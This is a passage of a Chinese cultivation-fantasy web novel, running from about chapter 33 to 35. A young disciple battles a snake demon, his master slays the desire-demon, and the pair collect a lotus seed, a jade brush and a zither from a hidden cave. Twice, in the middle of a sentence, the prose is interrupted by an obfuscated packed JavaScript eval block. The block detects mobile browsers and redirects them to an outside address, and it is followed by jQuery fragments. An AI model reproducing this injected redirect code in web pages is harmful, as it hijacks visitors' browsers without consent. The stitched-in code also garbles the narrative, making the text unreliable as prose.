红影很快便追上来,谢槿也加快速度在鳞次栉比的屋檐上飞奔,嘴上也没太让柳仙儿好过。 “当日柳月见我时,也是穿着一身白裙,装扮成女子,而后又化为少年身躯,最后才变出本体大白蛇,今日见了柳姐姐才知道,原来这一套是跟你学的,果然是亲师徒!” 他身轻如燕,脚下犹如踩着无形灵力在奔跑,快得不可思议。柳仙儿原本差点就要追上来,见他滑溜得跟泥鳅似的,蛇尾迁怒般拍碎了一片屋顶,手握成爪抓向他后背。 谁料没抓到人,反而是叫谢槿心口的灵符显形,清正灵光护住谢槿周身,烫得她缩回指尖。 “这是什么?” 谢槿几乎擦着她指尖溜了出去,扬声一笑,越过浸透街上的血河,跳到对岸的屋顶上。 “当然是门派发的中品护身符!虽说只能抵挡金丹修士全力一击,但说好玩游戏,姐姐怎么能随意下杀手?而且姐姐,你太慢了!” “小混蛋!” 柳仙儿怒骂一声,见谢槿短短片刻就从城中跑到城东,她环顾四周,一头潜入街上血河。 谢槿发觉身后没人时,脚步放缓下来,忽而听见前方屋顶依稀传来黏腻的水声,他凭着直觉飞快退开,下一瞬见那屋顶果真破开一道口子,几条拖着血雾的红蛇飞窜过来。 谢槿往侧翻滚退开之际,身后红影一闪狠狠拍断横梁,房子坍塌下去,他提气跳到另一处屋顶,柳仙儿的身影紧跟着出现在身后。 “小子,你跑不出玉陌城的。” “谁说我要逃出玉陌城?” 谢槿的气息带上几分微喘,抬头看向前方,城东主街道往城门去的方向有一座三层的钟楼,他运转起灵力,提速往那处钟楼跑去。 柳仙儿手中射出数根红线,扑簌簌截断谢槿前路。 “给我站住!” 心口护身符再次显形,但也只能护住心脉,谢槿匆忙侧身退开,红线擦过胳膊,青衣被破开两道血口,尖锐刺痛叫他当场倒抽一口气,低头似乎见到一缕黑雾钻进伤口。 但他没空想这么多,踩着屋檐高处跳上钟楼顶层。 天地一片晦暗,只剩下黑红两色,身后红影袭来时几乎没有声响,却硬生生将钟楼屋顶拍出一个豁口,谢槿脚下一晃,跌落下去。 柳仙儿柔若无骨的蛇身缠上廊柱爬上楼,钻进楼内。 “看你还往哪儿跑……” 三楼里黑漆漆的,什么也看不见,她的尾巴却碰到了一根细线,响起了清脆的铜铃声。 叮铃铃,打断了柳仙儿的话语,她竖瞳一闪,才看清楚这空荡荡钟楼内部四根廊柱上缠满了朱砂红线,红线上缀满了铃铛和符箓。 她也很快找到了谢槿的身影,他就站在廊柱后,此刻正抬指掐诀,指尖一张灵符自燃。 青衣少年一双桃花眸子极亮,似清月光辉,“爆!” 话音落下,几乎包围柳仙儿的红线上缀着的所有灵符都在同一时刻燃烧,同时爆炸开来。 轰轰轰,雷火喷涌,霎时间将钟楼整片屋檐掀开来。 柳仙儿猝不及防,发出惨叫。 “小混蛋!你给我等着!” 谢槿趁机逃出钟楼,落到远处的屋顶上,听见这声含怒带怨的惨叫,暗松口气便往回跑。 他还没有筑基,不能御剑,只能凭自己的两条腿跑,而腿上贴着的神行符也已经快废了。 能暂时拖柳仙儿一阵也值了。 跑出两条街后,腿上的神行符终于报废,谢槿胳膊上的伤口太疼,索性停下缓缓,在储物戒中取出新的神行符,正低头要贴上,余光瞥见一抹红影,他本能地往后跳开来。 果不其然,他才刚跳到远处墙头,方才身处的那处屋子就被暴力拆开来,柳仙儿有些狼狈的声音出现在他面前,火红长发与蛇尾鳞片上残留了几处雷火灼伤,不算严重,可这些已经足够叫柳仙儿动了杀心。 尤其是她满身的粉屑,叫她看谢槿的眼神更恨。 “你在那楼里放了什么!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105412|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢槿看她脸色狰狞,如实道:“朱砂、灵符、雄黄。” 柳仙儿气得脸色铁青,她修炼至今,已不会被雄黄所伤,可蛇类天性对此物还是忌讳的。 “小混蛋,心眼挺多啊!” 谢槿不紧不慢贴上神行符,又取出一张符纸,站在墙头与她相对,“我只有炼气期,若心眼不多,只怕已经被吃得骨头都不剩了。” 柳仙儿看他还如此镇定,不由纳闷,“你莫不是还在等你那师父?你可知我若动真格,你师父根本来不及回来救你,说不定,他此刻已经被哥哥吞入腹中,也回不来了。” 谢槿坚信道:“师父会回来的。” 不过可能没那么快。 柳仙儿嗤笑一声,“你就这么信任你那个师父吗?” 谢槿摇了摇头,没再与她争执,只是阖眸轻叹,“郴江幸自绕郴山,为谁流下潇湘去?” 柳仙儿听得一愣,“什么意思?” 谢槿苦笑:“没意思。” 柳仙儿感觉到一丝羞辱,面色沉了沉,“那随便你好了,我可没耐心再陪你玩游戏了。” 她忽而倾身欺近,谢槿毫不犹豫抛出手中符纸。柳仙儿有过前车之鉴,本欲退开,那符纸还没靠近,就在她面前爆开,却只是炸开了一团雾气,而谢槿却是趁机逃走了。 意识到中计,柳仙儿黑着脸追上,蛇尾在长街上一扫,院墙当即倒了一片。谢槿身影一晃,慌忙跳到不远处的门楼上,柳仙儿冷笑游近,掌中蕴着血雾,朝他发顶拍去。 “小子,符都耗光了吧!” 血雾笼罩上空,谢槿前后都再无退路,护住心脉的护身符彻底破碎,让他直面妖气威压,全身每一根骨头痛得仿佛正被拆解碾碎,他眼瞳一紧,攥紧腰间铁球,急喝道—— “不是想知道谁杀了你徒弟吗?剑傀!出来斩妖!” 门楼轰塌,谢槿身影摇摇欲坠,千钧一发之际,腰间铁球忽而飞出谢槿掌中,化出魁梧的人形傀儡身影,铁臂一把捞起他飞上虚空。 谢槿腰腹咯在剑傀硬邦邦的肩头,一阵天旋地转。 柳仙儿见到剑傀也是一惊,可也没打算放过谢槿,掌中飞出红线缠上剑傀,“给我下来!” 剑傀身影滞空,双眼亮起来,手中化出一道剑气。 手起剑落,长街血河被一剑中分,露出原本的夯土地面,又被斩出一道深长的剑痕来。 柳仙儿硬是接下了这一剑,才惊觉剑傀不简单,身后血水翻涌,悉数流入那道新渠中。 谢槿肚子被压得想吐,面如菜色拍了拍剑傀肩头。 “放,放我下来。” 剑傀虽没开灵智,却很听话,将谢槿放到一出大宅的屋顶上,便又飞出去,剑斩柳仙儿。 柳仙儿只得先与剑傀缠斗起来,“你这是什么东西!” 谢槿捂住腹部揉了揉,虚弱笑道:“如何,怕了?” “混小子!” 柳仙儿低骂一声,清楚拖得越久越没好处,索性化出原形。百余丈长的红鳞蛇骤然现身,将整条主街道挤压成一片废墟,红鳞蛇头顶鳞片似角,似蛟非蛟,极为庞大。 大红蛇周身血雾浓郁,又似毒雾,长尾一甩,便将剑傀卷起来,扔进大张的血口之中。 她居然打算直接吃掉剑傀! 谢槿双目睁大,“剑傀快跑!” 说时迟那时快,剑傀已被大红蛇一口吞下,大红蛇脑袋嗡嗡晃了好几下砸在地上,蛇身也在地上翻滚起来,碾碎了一地残垣断壁。 过了一阵,血雾淡去,变回了方才半人半蛇的模样。 她果真生吞了剑傀! 谢槿当机立断,转身就跑。 脚腕忽地一紧,竟被红线缠上,迟疑一瞬,四肢与腰身便都缠上了红线。血雾缓缓飘来,柳仙儿的脸也出现在他面前,细长的手指捏起他下颌,竖瞳里满是幽冷的杀意。 “怎么不跑了?” 她说着闷哼一声,蹙起的眉头露出痛苦之色,生吞剑傀无法消化,对她自己也没好处。 缠上四肢与腰身的红线收紧,不亚于被蛇尾缠身的窒息和恐怖,谢槿挣扎不开,指尖凝起一束灵力,趁柳仙儿吃痛,射向她心口。 柳仙儿更快缓过神,狠狠丢开他躲开,耳尖仍是被指法灵力洞穿,流淌下腥冷的血水。 谢槿从屋顶生生砸落下来,还好这里是这处宅子的阁楼,叫他不至于跌得太狠。他刚按住胸口爬起,柳仙儿也已经钻进阁楼,恶狠狠地伸手抓来,“小子,你今日惹我太过了,今日你不死,难消我心头……” 她忽地一顿,面色变得苍白狰狞,捂住腹部倒地。 “这铁疙瘩……居然如此难缠!” 看来是剑傀在她腹中反击了! 谢槿犹豫一瞬,取出储物戒中存放的配剑,拔剑出鞘,双手紧紧握住剑柄,提剑砍去。 不管了,趁蛇病,要蛇命! 34. 第三十四章 “混小子,你敢!” 柳仙儿因为腹中剑傀的剑气疼得直不起身,蛇尾却卷住了长剑,叫谢槿难以往下砍来。 谢槿咬紧牙将丹田中最后的灵力灌注剑身,“师父让我逃,可我不想逃,那我能做什么?我只是炼气期,你们动动手指就能杀我。” 柳仙儿嘴角溢出血水,蛇鳞紧缠住剑身,擦出火星。 “那你还敢回来!” 谢槿絮絮叨叨哑声说道:“我想,我以前身患心疾十几年,整日活得小心翼翼,唯一的愿望就是想要一具健康的身体,像正常人一样活着,如今我做到了,我本不该为别人葬送自己的性命的,可是……拥有了健康的身体,还要小心活着吗?” “我想要的,是自由自在的活着,是随心所欲的活着,我想要的,是想干什么就干什么……” 长剑往下压了几分,柳仙儿脸色越发惨白,不想向一个炼气期认输,也不想放出腹中一剑剑割着肚子的剑傀自由,她越听越烦,“烦死了!你说这些干嘛,老娘不想听!” “可是我想说!” 谢槿委屈道:“我不说出来,我心里憋着,慌得很。” 决定回来时,他不是没有后悔,他现在还很无措,可也知道既然做了,就要做狠,做绝! “现在不杀你,我也逃不掉。我本不想杀任何人,也没那么伟大要救所有人,或许只是被叶惟传染了,我觉得自己逃走很没意思。” 柳仙儿怒视着他,“你与我说这些,又有什么意义!待我缓过来,你也休想逃出生天!” “意义是人赋予的,我说有意义,它就有意义!” 谢槿双手颤抖着,虎口处绽裂溢出血水也没收手,深吸一口气,倾尽全力将剑往下压。 “小混蛋!” 柳仙儿咬牙切齿,收紧蛇尾。 砰一声—— 配剑崩断,谢槿倒在窗下。 柳仙儿蛇尾卷起那一截断剑,握在手中朝他爬去,趁他还未爬起,剑锋悬在他脖子上。 腹中再痛,那口恶气也泄出来了,柳仙儿颤声大笑。 “老娘这辈子头一回如此狼狈,都拜你所赐!就算你这副皮囊还不错,老娘也不稀罕了!” 错失了趁人之危的时机,谢槿再没有机会能逃脱,他反倒冷静下来,喉结上下滚动了下,还笑得出声,“我这算什么好皮囊?分明平平无奇,像我师父,才是容貌上乘。” 柳仙儿嗤笑一声,“你以为老娘不知道饰颜丹吗?” 谢槿眼瞳一紧。 柳仙儿冷笑着亮出毒牙,“你想藏就藏吧,老娘先弄死你,再把那剑傀吐出来撵个粉碎!” 她低头一瞬,上半身就变作蛇头,扑向谢槿脖子。 谢槿攥紧剑柄挡在蛇口之下,他想,他终究不甘心。 “师父……救我!” 蛇头笑得发颤,“哈哈哈!死心吧,你师父来不……” 窗外忽而传来一声空灵鸟鸣,盖过柳仙儿似人非人的笑声,一道黄影飞掠进来,直直扑向蛇头上,血水霎时飞溅出来染红窗棂。 柳仙儿叫声凄厉,“我的眼睛!” 红蛇痛得在地上翻滚,谢槿愣了下,才看清楚,扑在红蛇脑袋上那团鹅黄色就是小黄鸟。 小小的身影,杀伤力却极强,几下就将红蛇脑袋啄出了好几个血洞,眼球更是滚出一只…… 这还是寻常灵宠吗? 谢槿瞠目结舌。 这时,身后的窗外传来熟悉的声音,“还不起来?” 听见独属于闻折柳那慵懒又好听的嗓音,谢槿眼泪都快掉出来,想站起来又被疼得倒回去。 肩头一沉,是闻折柳的手,正往他身上渡灵力。 谢槿缓了口气,闻折柳便递来一瓶丹药,听他的声音,似乎有些纳闷,“不是让你走吗?” 谢槿接过抬头一看,闻折柳就在窗外御剑,长发衣衫有些凌乱,但没受伤,他暗松口气。 “这……不是我的历练吗?” 闻折柳愣了下,面露真诚。 “这次真不是。” 谢槿也愣了下,感情这事又是他自己想多了?还为此决定回来……他越想身上越疼,差点倒下去,还好闻折柳及时抓住他肩头。 “算了,先吃药吧。” 谢槿打开丹药瓶服下里面不知名的丹药,丹药入口即化,化为灵气浸润全身经脉和丹田,身上的伤也不那么疼了,他颤抖着轻舒一口气,闻折柳又朝他伸过来一只手。 “过来。” 谢槿想了想,将血迹斑斑的右手伸出去。闻折柳啧了一声,也不知是不是是嫌他慢,一把拉过他将人扛起来,放到窗外灵剑上。 谢槿再次被咯得肚子难受,闷哼一声,心道剑傀这么扛人,师父也这样,难道是宗门传统? 谢天谢地,闻折柳只是把他扛出来就放下来了。 “站好了。” 谢槿按住腹部站稳,才想起来阁楼里的小黄鸟。 “那小黄鸟……” “等着。” 闻折柳指尖弹出一道剑气,整座阁楼顿时被削去屋顶,被小黄鸟啄得满身血洞的红蛇总算见了光,一呲溜从小黄鸟爪下逃出去,往外爬去时变回半人半蛇狼狈飞远。 她身上全是血,捂着一只眼睛远远怒视二人一鸟,“你怎么会活着出来?哥哥呢!” 小黄鸟身上反倒干干净净,不染纤尘,抖着翅膀回到闻折柳肩上,还冲谢槿叽了一声。 叫声稚嫩,又好像带着几分方才谢槿听见的那声啼鸣的影子。亲眼看到了小黄鸟的战绩,谢槿还是不免惊叹,“原来你这么厉害?” 小黄鸟扬起脑袋,小模样又得意又神气,“叽叽!” 谢槿听不懂鸟语,“什么意思?” “抓蛇它还凑合吧。” 闻折柳随口应了一句,看看谢槿一身青衣上的好几处血迹,再看满身挂彩的柳仙儿,眼神或许有些欣慰,“你伤的?干得还不错。” 谢槿当然知道他指的不是小黄鸟的那些战绩,而是柳仙儿其他伤,他看向闻折柳,没忍住问:“那师父现在也会为我感到骄傲吗?” 闻折柳挑眉。 谢槿忍着羞耻提醒道:“师父只夸过叶惟了不得。” 闻折柳始料未及,愣了下,低声一笑,伸手揉乱谢槿的头发,“别乱跑了,在这里待着。” 谢槿被笑得脸红,奈何师父笑起来又很好看,便任由他御剑将自己放到东侧一处屋檐上。 柳仙儿也没逃走,不是不想,而是受伤后无法压制剑傀变回了本体,从本体腹部剑痕便可直观看到剑傀的反噬,巨大的红蛇翻滚了一阵,到底还是撑不住吐出了剑傀。 剑傀带着一身蛇血来到屋檐上,闻折柳喊了一声停,弹出一道赤红灵力勉强洗干净那身蛇血,才招手示意剑傀过来,“守着他。” 他说这话时,看的是谢槿。 谢槿心头一暖,又有些奇怪,瞥向倒地的红蛇。 “师父,不杀了她吗?” 闻折柳笑得意味深长,“等另一个过来一块斩。” 谢槿想起欲魔,正要问师父跟欲魔斗法结果如何,就见欲魔现身在红蛇边。看清红蛇狼狈摸样,欲魔脸色变了变,望向闻折柳。 “你剑法不错,居然能打破我的幻境找回来,是比那两个半步合体强些。可剑道门派我多少都知道一些,却没听说过你这号人物,看来我兄妹不联手是很难应付你了。” 见他出现,红蛇也变回了半人半蛇,虚弱地爬起来,“哥哥,那小子和那个铁疙瘩害我好大一个亏,你一定要帮我出这口气!” 闻折柳能得到欲魔这样的评价,谢槿是吃惊的,可叫他更吃惊的,是下一刻欲魔笑盈盈地朝柳仙儿伸出手,他绕过柳仙儿想要他搀扶的手,毫不迟疑穿进柳仙儿胸膛。 他语调越轻柔,就越渗人。 “妹妹放心,这口气我会给你出的。不过你终究是我的半体,你我分开时力量也总会被分走,这些年来哥哥一直让着你,如今强敌在前,我也该收回来这份力量才是。好妹妹,你也会成全哥哥的对不对?” 他的手指在柳仙儿胸膛里掏了掏,竟掏出来一颗还在跳动的心脏,送入自己胸膛中。柳仙儿瞪着眼睛化为飞灰,而欲魔吸收了那颗心脏之后,白发也变作了红发,本就与柳仙儿一样的脸,愈发阴柔邪气。 天上隐隐有雷声响起,腥风肆虐。谢槿感觉空气越发阴冷,也越发压抑了,“他这是……” 闻折柳看得津津有味,“这两条蛇原本该是同一条,雌雄同体,可以短暂分开,力量总归不如在一起时强,估计是欲魔钻进蛇胎后生出的异类。但这具身体平日该是那蛇女主导。看来这欲魔想要的不仅仅是身体的主导权,还想要得到所有力量。” “哦。”他像是忘了什么,便和谢槿补充道:“他现在得到了所有力量,修为该是大涨了。” 谢槿心下大惊,担忧道:“他原本就有合体初期,师父只有化神期,我们要如何与他斗?” 到这种时候,闻折柳还有心思掏出冰心玉壶,报复般狠狠灌了两口便将玉瓶扔给谢槿,“化神期怎么了?等着,我说能打就能打!” 谢槿手忙脚乱抱住玉瓶,闻折柳已御剑出去,还带上了肩上的小黄鸟,剑影果决而炽热。 火阳剑气飞至,欲魔袖袍一振,血雾妖气瞬间瓦解剑气,竖冷望向御剑虚空的闻折柳。 “你此刻还不逃,胆子不小。” “少废话!” 闻折柳抬起手,掌心灵力缓缓化出一柄赤红长剑,剑气炙热锋锐,凌空虚斩,灼尽血雾。 “死或认输,选一个?” 欲魔勾唇笑起来,越发雌雄难辨的嗓音透出寒意,“方才你避而不战,如今本座终于融合了另一个半身的力量,正欲寻一块磨刀石,你又送上门来寻死,还如此猖狂,那就让本座看看你有没有这个本事!” 他话音落下,血雾化为滔天血海,扑向闻折柳。 “看来你选好了。” 闻折柳说罢,炙热剑气直穿血海,直斩欲魔,而欲魔周身浓郁的血雾中也抽出许许多多诡异藤蔓,要将那一道玄意身影拽下血海。 远处谢槿抱紧了怀中的冰心玉壶,呼吸都停了一拍。 所幸,赤红剑光骤然破开血雾,血海如洪水般往两边涌去,唯独不敢靠近那位玄衣身影。 持剑的玄衣身影剑指欲魔,欲魔掌中血雾阴森,又有强劲有力的蛇尾为辅,一时竟也难以拿下这玄衣人,拂袖化出许多血红小蛇。 闻折柳一剑破之,剑锋直抵欲魔心口,“还不出手?” 欲魔蛇尾拍开剑锋,竖瞳阴沉下来,现出血红的冷光,紧跟着无数只蛇瞳撕裂虚空显现出来,俯视闻折柳,“本座不信你半点欲念都没有,小剑修,让我看看你的道心!” 诡谲竖瞳浮现天边,谢槿只看一眼就感觉头晕目眩,他咬了咬舌尖让自己清醒过来,匆忙别开脸不去看那边。只一刹那,他就已经吓出了一身冷汗,师父不会有事吧? 可意外的是,欲魔又尖又刺耳的惨叫声忽而传来,谢槿捂住耳朵,反应过来猛地望向那边。 虚空中的蛇瞳纷纷崩溃,熟悉的玄衣身影立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105413|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在虚空中,而欲魔却捂着一只眼睛退到远处。 捂住右眼的手指缝间溢出猩红血水,喘息满含痛苦。 “你竟然……” 闻折柳回头瞥向谢槿方向,恰好撞见屋顶上的青衣少年亮晶晶的桃花眸,他挑了挑眉,而后举剑化出数道赤红剑气,朝欲魔飞去,“想看我的道心?你还不够格。你若再没有别的手段,我可就要斩你了。” 血雾化为屏障挡下数道剑气,欲魔放下手,右眼已成了一个血洞,那张阴柔的脸气得狰狞,手中化出无数红线以铺天盖地之势飞向闻折柳,随即手握成爪抓向闻折柳命脉。 闻折柳斩断红线,挥剑斩向他的手,这才笑了。 “要打就该认真些,继续!” “……狂妄!” 欲魔憋出来两个字,掌中血雾横生,与闻折柳手中之剑你来我往的打起来,寻到间隙退开些许,掐诀结阵,血蛇图腾化出无数血刃朝闻折柳飞去,皆被一剑格挡下来。 闻折柳意犹未尽,“没了吗?” 回应他的是携血雾狠狠拍来的血雾,闻折柳挥剑反击,气浪翻涌,二人皆被震退出去。 欲魔双手结印,背后血红法阵现出蛇影,一束红光随即涌上天际,引出穹顶的血色法阵。 “本座心血皆在六相逆魂珠上,没想到你会如此难缠,看来今日不祭出六相逆魂珠是对付不了你了……等等,我的六相逆魂珠!” 欲魔不可置信望向上空,血阵浮现后就没再有动静。 闻折柳袖袍一挥,挥散重重血雾,指向望海楼方向,那处缓缓现出赤红灵光,不是欲魔的血雾,而是炙热剑气凝成的剑阵结界。 “你说那边吗?” 谢槿跟着看去,那几处被剑阵所护的长街正是先前六相逆魂珠所在之处,也是叶惟所在。 如今隔得远,他当然看不到叶惟祭出水墨法器筑成的结界,桃花眸中倒映着那处赤红剑阵的余光,眼底似有烈火,吹来的风也不再腥冷,而是温暖,犹如春日的骄阳。 “不可能!” 欲魔惊叫道:“你一个化神期,怎么可能禁锢住六相逆魂珠!不,你一定不是化神期!” 闻折柳可没跟他再多话,一剑斩去,叫欲魔仓惶闪躲,“我就是化神期,不过我在化神期已经很多很多年了,收拾你不成问题。” “怎么可能……怎么可能!” 欲魔匆忙抬掌凝起血雾与他交战,蛇尾却悄然刺向闻折柳后心,只差半寸。岂料闻折柳肩上那一团小黄鸟拍着翅膀飞下去,冲着蛇尾尖就是一啄,痛得欲魔语带哭腔。 “那是什么!” 不怪他一惊一乍,小黄鸟这么狠狠一啄,竟将他的蛇尾尖硬生生啄断了一截,足有二尺! 欲魔疼得浑身颤抖,匆忙退开,恍惚之际,闻折柳手中三尺长剑再斩来,丝毫不减半分锋锐的炙热剑气近前,叫他忽然有种错觉,他会被这个化神期一剑一剑剁成泥! 看见这一幕,谢槿激动得捏起拳头,心下直呼灵宠大人干得漂亮!其实若欲魔没那么快杀死柳仙儿的话,他就会知道柳仙儿的伤是因何而来,也会对小黄鸟多一分忌惮! 欲魔眼底闪过一丝慌张,一边缩着血淋淋的蛇尾,躲避闻折柳手中长剑,一边忌惮地看着闻折柳和拍着翅膀在半空中扑腾的小黄鸟,竖瞳瞪圆,“你……不,你们是妖!” 闻折柳剑下不留情,在欲魔肩头留下深长的血痕。 欲魔惊恐退开,掌中血雾急急化为护盾,“等等!大家都是妖,你何必对同族赶尽杀绝!这玉陌城我让你便是,大人,我认输了!” 能叫欲魔开口认输,还有这一声大人,可见他是真的怕了,谢槿愣了下,看向闻折柳。 什么意思?师父是妖吗? 闻折柳剑下未停,身影飞出。 几道赤红剑光自欲魔身上闪过,欲魔身影一滞,血雾护盾破碎,便不再动了。闻折柳的身影出现在他身后,手腕一转,甩去剑上沾染到的血珠,倒提长剑,漠然侧首。 “你才是妖。” 小黄鸟飞来落到闻折柳肩上,挺起胸膛叽叽叫了几声。 闻折柳扬起下颌,笑意懒散。 “它说,它是大荒神鸟。” 欲魔血红左眼死死瞪大,竖瞳紧缩起来,眼神变得灰白,脸上绽裂出猩红血痕,身体和蛇尾倏然化为无数碎末,坠落街上血河。 谢槿愣愣看着,满心震撼。 一滴冷雨落到脸颊,谢槿下意识抬手抹去,低头一看才被惊醒,上空飘落的赫然是血雨! 被乌云遮蔽的天穹竟四分五裂,在他注目下,一块天坠落下来,脚下的屋檐也开始晃动。 整座玉陌城都在崩塌,地缝裂开幽黑深渊,谢槿猛然回神,可来不及找到新的落脚地,负伤无力的身体便随着房子坍塌往下坠落。 连剑傀都没能反应过来,擦着肩头摔落,谢槿闭了闭眼,想也没想便扬声唤道:“师父!” 血雨中一道剑光横渡而来,赶在青衣少年即将坠入地下深渊之际,拦腰将人抱在怀中。 温暖和熟悉的怀抱叫谢槿下意识睁开眼,果真一眼便见到闻折柳那张明俊逼人的脸,还有蹲在他肩头上探头看向自己的小黄鸟。 忽然之间,冷雨腥风与天崩地裂似乎都不存在了。 谢槿呆呆靠在师父怀中,心脏扑通扑通跳得极快,连剑傀变回铁球飞回腰间也没有察觉。 赤红剑光穿过血雨,飞向天上明亮缺口。闻折柳垂眸看来,一双琉璃目含笑,过分绚烂。 “如何,现在是觉得剑傀那铁疙瘩帅,还是师父帅?” 35. 第三十五章 灵剑迎着朝阳,飞越虚空。 玉陌城坍塌之后,假象退去,露出了原本的真面目。 这是一片海岸,原本深陷城中的人们在幻境破碎之后都逃出生天回到了现实中,或许有人受伤了,或许有人顿悟了。这些都不重要了,因为闻折柳的剑已经载着谢槿离开这里,往渺茫无际的海上飞去。 谢槿坐在飞剑上用除尘符把身上血迹收拾干净,眼神飘过闻折柳脊背,回望远处海岸。 “他们没事吧?” 那瓶冰心玉壶早就被闻折柳从谢槿手里拿回来,大喝好几口才回道:“天音寺那几个秃驴就不说了,闻人祤这个货真价实的半步合体还是能顶事的,他若不是想借六相逆魂珠破境,怎会在里面浪费那么多时间?再说还有叶惟善后,那些人不会有事,不过是之前被困了太久,损了精气。” 谢槿暗松口气,又有些迟疑。 “不跟他们道别吗?” 闻折柳收起玉瓶,站起身活动了下腰背筋骨,懒散道:“真回去道别,身份就藏不住了。” 行吧。 谢槿也不问了。 飞剑放缓速度,往下飞去,底下正是一座靠近海边的小岛屿。谢槿见状跟着站起来,不小心牵动胳膊上的伤,疼得他倒抽口气。 “师父……来这里干什么?” 飞剑落地,闻折柳踏上礁石,“当然是来捡漏。” 谢槿疑惑,“啊?” 这座孤岛委实不大,满打满算方圆数十丈,只有一座不高不矮的孤峰,闻折柳往前走的步伐十分稳健,稳健到谢槿以为他来过。 师徒俩很快走到山脚下,闻折柳抬指凝起一道剑气,清扫干净山上铺下的一片花藤,里头的山洞入口便出现在二人眼前。谢槿想到什么,跟上闻折柳快步走近山洞门前。 “这是欲魔的藏宝之地?” “或许吧。” 闻折柳语气也不确定,自顾自走近洞口,禁制结界随即显露出来,他直接抖了抖肩头。 “去,开门。” 谢槿还以为在跟自己说话,就见小黄鸟被闻折柳一把扔到结界前,一啄啄碎了山洞门前的结界,而后飞回来冲闻折柳叽叽叫。 听起来骂得很凶。 闻折柳一笑置之,往里走去。 看小黄鸟气急败坏地炸了毛,谢槿也没忍住偷笑,也更深刻地认识到了小黄鸟的厉害。 原来小黄鸟真的神鸟吗? 他也没问出声,小黄鸟像是烦了闻折柳,转头便飞落到他的肩头上,歪头蹭了蹭脖子。 谢槿笑了笑,冲它竖起拇指。 “好厉害。” 小黄鸟欢快地啾啾叫起来,蹲在他肩上挺了挺胸。 越往山洞里走,灵气越浓郁,拂面而来,身上的伤都不疼了,谢槿越发好奇欲魔究竟在这藏了什么东西,跟着闻折柳走了一段路才走到山洞的最深处,里面藏了一处灵池,池中生着一株青莲,两侧荷叶各自托着一架白玉瑶琴、一支青竹玉笔。 青莲即将完全盛开,中心花苞氤氲着灿金色圣光。 只是靠近灵池边,谢槿就能感觉到这三件物件的灵气厚重,毫无疑问,这就是灵气源头。 闻折柳试着弹出一道剑气,池中立时亮起金光,瞬息化解剑气。闻折柳没再动手,“有禁制在,恐怕是很难穿过禁制取走宝物。” 谢槿好奇,“师父连欲魔都杀得,这禁制破不了吗?” 闻折柳如实摇头,“欲魔残魂记忆中,这里是他偶然发现的,他猜测要等到青莲开花才能取走宝物,又怕被人发现这座岛上的灵气,此前便在外面设下玉陌城故布疑阵。” 谢槿也不知道师父是什么时候取走了欲魔的残魂还搜了魂,反正师父说,他就信,他又问:“那我们要等到何时?万一闻人祤那边缓过神,还有天音寺的人也找过来呢?” “快了。” 闻折柳掐指算了算,“这里面的宝物能叫拥有六相逆魂珠的欲魔耐住性子等待,估计该是不亚于六相逆魂珠的宝物,他等这花开等了将近三个月,算算时间,也快开了。” 正如他所言,恰好辰时至,山洞上空一处缝隙将一缕日光泄漏进来,正好打在青莲之上。 那朵本就开了一半的青莲,花苞颤颤悠悠打开来。 谢槿感慨道:“原来只需再等一日,就能等到花开,难怪欲魔会毫不犹豫吞噬自己的半身。” 青莲盛开,花苞里面所隐藏之物也缓缓浮现出来——那是一粒很微小的、黯淡无光的莲子。 而与此同时,灵池上的禁制和结界果然也消散了。 闻折柳有些失望,“这青莲里居然只是一粒莲子吗?” 谢槿修为尚浅,看不出这莲子好赖,只看到这粒莲子甫一出现,青莲就飞快凋谢了。而且比起旁边的瑶琴和玉笔,莲子光芒稍显黯淡,看去宛如白玉质,灵气却浅淡。 到底是白捡的,闻折柳也挑剔不来,抬手用灵力将这三物取来,捏住莲子细细打量须臾,“灵气无多,看来真的只是寻常灵植。” 他看向另外二物,又看谢槿。 谢槿眼神迷茫,看他干嘛? 闻折柳一抬手,那支青竹玉笔便飘到谢槿面前来,“碰见就是缘,拿着吧,以后好好画符。” 谢槿惊道:“给我的?” 他不知道这玉笔什么品级,只知道玉笔灵气浓郁。 闻折柳点头,想了想,又将那枚莲子一并扔给他,那莲子太小了,吓得谢槿赶紧伸手捧住。 拿到手才发现这一粒莲子真的很普通,却有股淡淡的莲香,谢槿下意识感觉这股气息很亲近,想来与他的木灵根亲近草木有关。 “这也给你了。这支玉笔虽然品级不低,但还算不上仙器,这架瑶琴倒是货真价实的仙器,不过你拿着反倒会招惹是非,我就先收着了。”闻折柳毫不避讳地处理了这几件物件,“那欲魔原本还以为青莲里隐藏之物会是神器,如今看,还好他没来。” 欲魔要是知道他守了几个月为此招惹是非丢了性命,最后只有这点东西,估计要气活过来。 谢槿本就对瑶琴没什么兴趣,更没想到师父会慷慨地把那支玉笔给自己。他也没跟闻折柳客气,师父给了,他拿着就是,还有莲子,他也仔仔细细地收入进储物戒里。 “多谢师父。” 青莲凋谢,连灵池都散去了灵气,山洞中再无有价值之物。闻折柳摆手收起瑶琴,便转身往外走去,拿出一瓶冰心玉壶喝起来。 “谢我什么,你这次吃了苦头,得些好处应当的。” 可若是遇到了其他修士,谢槿这个小炼气期未必能分到东西。谢槿也是看过不少修仙小说的,里面的师徒十对里有九对的师父要使坏,剩下一对,徒弟要以下犯上…… 咳咳。 